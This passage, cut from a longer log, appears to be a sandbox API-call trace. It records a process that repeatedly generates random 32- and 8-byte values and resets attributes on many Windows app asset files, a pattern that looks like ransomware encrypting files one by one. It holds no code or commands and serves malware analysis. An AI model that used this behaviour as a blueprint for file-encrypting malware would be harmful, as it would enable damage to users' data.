hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737370 | out: pbBuffer=0x3737370) returned 1 [0219.016] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2580 | out: pbBuffer=0x34d2580) returned 1 [0219.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37373a0 | out: pbBuffer=0x37373a0) returned 1 [0219.016] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4050 | out: pbBuffer=0x34d4050) returned 1 [0219.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37373b0 | out: pbBuffer=0x37373b0) returned 1 [0219.017] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4260 | out: pbBuffer=0x34d4260) returned 1 [0219.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37373d0 | out: pbBuffer=0x37373d0) returned 1 [0219.017] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-40.png", dwFileAttributes=0x80) returned 0 [0219.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2bb0 | out: pbBuffer=0x34d2bb0) returned 1 [0219.017] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737400 | out: pbBuffer=0x3737400) returned 1 [0219.017] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2688 | out: pbBuffer=0x34d2688) returned 1 [0219.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737420 | out: pbBuffer=0x3737420) returned 1 [0219.018] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d31e0 | out: pbBuffer=0x34d31e0) returned 1 [0219.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737430 | out: pbBuffer=0x3737430) returned 1 [0219.019] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3918 | out: pbBuffer=0x34d3918) returned 1 [0219.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737440 | out: pbBuffer=0x3737440) returned 1 [0219.019] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d3a20 | out: pbBuffer=0x34d3a20) returned 1 [0219.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737280 | out: pbBuffer=0x3737280) returned 1 [0219.020] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2dc0 | out: pbBuffer=0x34d2dc0) returned 1 [0219.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737290 | out: pbBuffer=0x3737290) returned 1 [0219.020] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36.png", dwFileAttributes=0x80) returned 0 [0219.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d2fd0 | out: pbBuffer=0x34d2fd0) returned 1 [0219.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737520 | out: pbBuffer=0x3737520) returned 1 [0219.020] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d5e38 | out: pbBuffer=0x34d5e38) returned 1 [0219.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37374e0 | out: pbBuffer=0x37374e0) returned 1 [0219.020] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4680 | out: pbBuffer=0x34d4680) returned 1 [0219.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737530 | out: pbBuffer=0x3737530) returned 1 [0219.021] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d5b20 | out: pbBuffer=0x34d5b20) returned 1 [0219.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737630 | out: pbBuffer=0x3737630) returned 1 [0219.021] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4788 | out: pbBuffer=0x34d4788) returned 1 [0219.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37375e0 | out: pbBuffer=0x37375e0) returned 1 [0219.022] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4cb0 | out: pbBuffer=0x34d4cb0) returned 1 [0219.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37374a0 | out: pbBuffer=0x37374a0) returned 1 [0219.022] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32.png", dwFileAttributes=0x80) returned 0 [0219.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4db8 | out: pbBuffer=0x34d4db8) returned 1 [0219.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37374f0 | out: pbBuffer=0x37374f0) returned 1 [0219.022] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4470 | out: pbBuffer=0x34d4470) returned 1 [0219.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737640 | out: pbBuffer=0x3737640) returned 1 [0219.023] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4368 | out: pbBuffer=0x34d4368) returned 1 [0219.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737620 | out: pbBuffer=0x3737620) returned 1 [0219.023] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d5910 | out: pbBuffer=0x34d5910) returned 1 [0219.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737590 | out: pbBuffer=0x3737590) returned 1 [0219.024] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4890 | out: pbBuffer=0x34d4890) returned 1 [0219.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737500 | out: pbBuffer=0x3737500) returned 1 [0219.024] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4998 | out: pbBuffer=0x34d4998) returned 1 [0219.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737510 | out: pbBuffer=0x3737510) returned 1 [0219.024] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30.png", dwFileAttributes=0x80) returned 0 [0219.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4578 | out: pbBuffer=0x34d4578) returned 1 [0219.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737540 | out: pbBuffer=0x3737540) returned 1 [0219.025] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d5808 | out: pbBuffer=0x34d5808) returned 1 [0219.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737450 | out: pbBuffer=0x3737450) returned 1 [0219.025] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d5d30 | out: pbBuffer=0x34d5d30) returned 1 [0219.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737550 | out: pbBuffer=0x3737550) returned 1 [0219.026] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4aa0 | out: pbBuffer=0x34d4aa0) returned 1 [0219.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737560 | out: pbBuffer=0x3737560) returned 1 [0219.026] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d5a18 | out: pbBuffer=0x34d5a18) returned 1 [0219.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737470 | out: pbBuffer=0x3737470) returned 1 [0219.026] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d54f0 | out: pbBuffer=0x34d54f0) returned 1 [0219.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737570 | out: pbBuffer=0x3737570) returned 1 [0219.026] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256.png", dwFileAttributes=0x80) returned 0 [0219.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4ba8 | out: pbBuffer=0x34d4ba8) returned 1 [0219.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37375c0 | out: pbBuffer=0x37375c0) returned 1 [0219.027] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4ec0 | out: pbBuffer=0x34d4ec0) returned 1 [0219.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737580 | out: pbBuffer=0x3737580) returned 1 [0219.027] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d4fc8 | out: pbBuffer=0x34d4fc8) returned 1 [0219.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37374b0 | out: pbBuffer=0x37374b0) returned 1 [0219.028] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d50d0 | out: pbBuffer=0x34d50d0) returned 1 [0219.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737600 | out: pbBuffer=0x3737600) returned 1 [0219.028] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d51d8 | out: pbBuffer=0x34d51d8) returned 1 [0219.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37375a0 | out: pbBuffer=0x37375a0) returned 1 [0219.028] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d5c28 | out: pbBuffer=0x34d5c28) returned 1 [0219.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737460 | out: pbBuffer=0x3737460) returned 1 [0219.029] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0219.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d52e0 | out: pbBuffer=0x34d52e0) returned 1 [0219.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37374c0 | out: pbBuffer=0x37374c0) returned 1 [0219.029] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d53e8 | out: pbBuffer=0x34d53e8) returned 1 [0219.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37375b0 | out: pbBuffer=0x37375b0) returned 1 [0219.029] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d55f8 | out: pbBuffer=0x34d55f8) returned 1 [0219.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37374d0 | out: pbBuffer=0x37374d0) returned 1 [0219.030] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d5700 | out: pbBuffer=0x34d5700) returned 1 [0219.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37375d0 | out: pbBuffer=0x37375d0) returned 1 [0219.030] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ceab8 | out: pbBuffer=0x34ceab8) returned 1 [0219.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37375f0 | out: pbBuffer=0x37375f0) returned 1 [0219.030] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce8a8 | out: pbBuffer=0x34ce8a8) returned 1 [0219.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737610 | out: pbBuffer=0x3737610) returned 1 [0219.030] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0219.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf928 | out: pbBuffer=0x34cf928) returned 1 [0219.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737480 | out: pbBuffer=0x3737480) returned 1 [0219.031] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce170 | out: pbBuffer=0x34ce170) returned 1 [0219.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737490 | out: pbBuffer=0x3737490) returned 1 [0219.031] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce590 | out: pbBuffer=0x34ce590) returned 1 [0219.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37376f0 | out: pbBuffer=0x37376f0) returned 1 [0219.032] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf0e8 | out: pbBuffer=0x34cf0e8) returned 1 [0219.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37377b0 | out: pbBuffer=0x37377b0) returned 1 [0219.032] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce488 | out: pbBuffer=0x34ce488) returned 1 [0219.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737740 | out: pbBuffer=0x3737740) returned 1 [0219.032] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x80) returned 0 [0219.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce9b0 | out: pbBuffer=0x34ce9b0) returned 1 [0219.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737710 | out: pbBuffer=0x3737710) returned 1 [0219.033] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0219.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cebc0 | out: pbBuffer=0x34cebc0) returned 1 [0219.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737730 | out: pbBuffer=0x3737730) returned 1 [0219.033] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0219.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cecc8 | out: pbBuffer=0x34cecc8) returned 1 [0219.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737770 | out: pbBuffer=0x3737770) returned 1 [0219.040] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0219.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cedd0 | out: pbBuffer=0x34cedd0) returned 1 [0219.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737790 | out: pbBuffer=0x3737790) returned 1 [0219.041] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100.png", dwFileAttributes=0x80) returned 0 [0219.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf820 | out: pbBuffer=0x34cf820) returned 1 [0219.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737680 | out: pbBuffer=0x3737680) returned 1 [0219.054] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x80) returned 0 [0219.056] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce698 | out: pbBuffer=0x34ce698) returned 1 [0219.056] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37376c0 | out: pbBuffer=0x37376c0) returned 1 [0219.056] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\WideLogo.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cfb38 | out: pbBuffer=0x34cfb38) returned 1 [0219.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37377d0 | out: pbBuffer=0x37377d0) returned 1 [0219.067] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.073] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ceed8 | out: pbBuffer=0x34ceed8) returned 1 [0219.073] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37376e0 | out: pbBuffer=0x37376e0) returned 1 [0219.073] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.dualsim2.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.073] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce068 | out: pbBuffer=0x34ce068) returned 1 [0219.073] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737750 | out: pbBuffer=0x3737750) returned 1 [0219.073] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.dualsim1.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.074] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cfe50 | out: pbBuffer=0x34cfe50) returned 1 [0219.074] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37376b0 | out: pbBuffer=0x37376b0) returned 1 [0219.074] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\StoreLogo.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cefe0 | out: pbBuffer=0x34cefe0) returned 1 [0219.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37376a0 | out: pbBuffer=0x37376a0) returned 1 [0219.079] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.wink.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf1f0 | out: pbBuffer=0x34cf1f0) returned 1 [0219.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37376d0 | out: 